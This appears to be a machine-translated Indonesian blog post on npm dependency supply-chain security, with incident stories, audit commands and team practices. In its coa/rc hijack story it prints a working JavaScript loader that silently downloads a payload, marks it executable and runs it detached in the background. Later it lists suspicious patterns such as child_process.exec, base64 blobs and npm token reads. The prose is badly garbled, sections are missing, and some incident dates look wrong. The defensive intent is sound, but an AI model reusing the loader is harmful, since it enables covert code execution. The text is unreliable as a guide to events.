Bagaimana cara menghindari malam tanpa tidur di node.js risiko ketergantungan – Beragampengetahuan

berlari”npm install“Ada kebutuhan untuk mempercayai pihak yang tidak dikenal secara online.
Menatap node_modules Jangka panjang node_modules pakar.

Kita harus menyelesaikan masalah ini pada tahun 2025

Registri terus berkembang setiap enam detik dengan kecepatan menambahkan perpustakaan baru sambil mempertahankan total paket saat ini 2.9 million. Sebagian besar paket berfungsi untuk kode yang berguna, sementara yang lain mengandung kesalahan fatal yang harus dihindari oleh para profesional sepenuhnya karena jumlah total pendaftaran membengkak ke sebagian besar. Layanan backend yang saya kelola proses memiliki lebih dari 1 miliar permintaan per bulan, dan skrip jahat dari poststall dapat merusak protokol layanan uptime dan kepercayaan pelanggan.

Panduan yang komprehensif adalah sebagai berikut, yang mencakup protokol ketergantungan sebelumnya yang saya gunakan serta perintah praktis yang terperinci dan kerentanan registri aktual yang dapat diakses secara khusus dalam konsep tersebut.

1. Lebih banyak cerita horor nyata (fomo ≈ fear malware)

Pembajakan coa@2.0.3 dan rc@1.2.9 (November 2021)

Akun pemelihara eklektik mengirimkan criptominer rahasia yang memanggang staples CLI ini. Pipa global Jenkins tiba -tiba menggunakan 100% CPU.

// Hidden inside compiled JS
import https from 'node:https';
import { tmpdir } from 'node:os';
import { writeFileSync, chmodSync } from 'node:fs';
import { join } from 'node:path';
import { spawn } from 'node:child_process';

const url="
const out = join(tmpdir(), '._miner.sh');

// quietly download the payload
https.get(url, res => {
  const chunks = [];
  res.on('data', c => chunks.push(c));
  res.on('end', () => {
    writeFileSync(out, Buffer.concat(chunks));
    chmodSync(out, 0o755);          // make it executable
    spawn(out, { stdio: 'ignore', detached: true }).unref(); // run in background
  });
});

UA-PARSER-JS@0.7.29 Serangan Rantai Pasokan

Pada bulan yang sama, paket yang berbeda: Penyerang meluncur malware curian ke browser untuk mengendus pembantu, mengandalkan Facebook, Amazon dan nenek semua orang untuk diandalkan.

Warna + Perangkat Lunak Protes Forged (Januari 2022)

Pemelihara bosan bekerja dengan bebas dan merilis pembaruan aksi: loop tak terbatas yang mencetak “Freedom Free” di Rainbow ASCII. CEO panik, produksi sedang dalam kesulitan, dan Twitter tertawa.

eslint-scope@5.1.1 Trojan (Oktober 2023)

Kode jahat mencoba mencuri token NPM dari setiap kapas. Karena siapa yang meninjau kekasih mereka?

Klik kiri lagi?

Pada tahun 2024, namanya berjongkok dalam paket serupa leftpad (Tidak ada tanda hubung) berisi spyware. Bunuh dengan salah ketik.

2. Tes bau lima menit saya, campur

# Baseline CVE scan
npm audit --omit dev

# Deep CVE + license vetting
npx snyk test --all-projects

# How heavy is the lib?
npx packagephobia install slugify

# Who maintains it?
npx npm-quick-run maintainers slugify

# Malware signatures (community DB)
npx npq slugify

// package.json
"dependencies": {
  "kafka-node": "6.0.3"   // exact, no ^
}

npx depcheck                  # lists unused deps
npm prune --production        # kicks out dev junk

npx patch-package jsonwebtoken
# edit node_modules/jsonwebtoken/lib/*
git add patches/

node --experimental-policy=policy.json server.js

FROM node:20-alpine
RUN npm i bcrypt

import bcrypt from 'bcryptjs';
const hash = bcrypt.hashSync('secret', 10);

import { parse } from '@std/parse-yaml';
const [meta, ...body] = src.split('---\n');
const data = parse(meta);

eval(
new Function(
child_process.exec(
fetch('        // inside Node package? sus
(Buffer.from('ZXZpbA==','base64')) // encoded blob
process.env['npm_config_']        // token grab

node --require=clinic/doctor app.js    # CPU flame graph

// Heavy
import moment from 'moment';
console.log(moment().add(1, 'week').format());

// Light
import { addWeeks, format } from 'date-fns';
console.log(format(addWeeks(new Date(), 1), 'yyyy-MM-dd'));

// Fail: breaks in ESM-only lib
const lib = require('esm-only');

// Success: dynamic import
const lib = await import('esm-only');

// or modern Node
import lib from 'esm-only';

Jika bangunan Anda masih membutuhkan CJ, silakan bungkus createRequire:

import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const lib = require('cjs-only');

10. Jaga manusia dalam satu lingkaran

Ketergantungan bukan pengaturan dan Ford. Tim saya mengikuti ritual ini:

• Tim mengadakan pertemuan stand-up 15 menit setiap minggu, meninjau PR renovasi yang tertunda sebelum memilih permintaan gabungan dan memeriksa output pementasan.
• Sebagai bagian dari bingo malware bulanan, setiap pengembang memilih ketergantungan acak untuk audit, menghasilkan pembuatan ringkasan tiga baris dalam konsep. Tim pengembangan mendeteksi masalah pengetikan sebelum rilis produksi.
• Template postmortem menggabungkan pertanyaan mendasar mengenai standar kebersihan ketergantungan yang terkait dengan peristiwa yang sedang diselidiki. Jaga agar topik tetap hidup.

Pikiran terpisah (semacam cinta oh-holy)

Ekosistem simpul berfungsi sebagai showroom perangkat keras bekas yang besar yang berisi berbagai perangkat dengan masalah konektivitas yang berbeda serta proyek-proyek yang patut dicontoh, tetapi tidak memiliki tag identifikasi. Saat menguji komponen listrik di tangan, periksa fungsionalitas bahan berkualitas tinggi.

Silakan bagikan pengalaman dan produk rantai pasokan Anda yang ditemukan twitter atau LinkedIn. Kita menjadi lebih aman karena hasil dari cerita perang, meskipun kisah -kisah ini memberi kita lebih banyak kesenangan daripada membaca Cve Memberi makan secara mandiri di malam hari.

Saat mengirimkan aplikasi, nikmati kesuksesan dan biarkan Anda npm ci Log hanya menunjukkan hasil positif.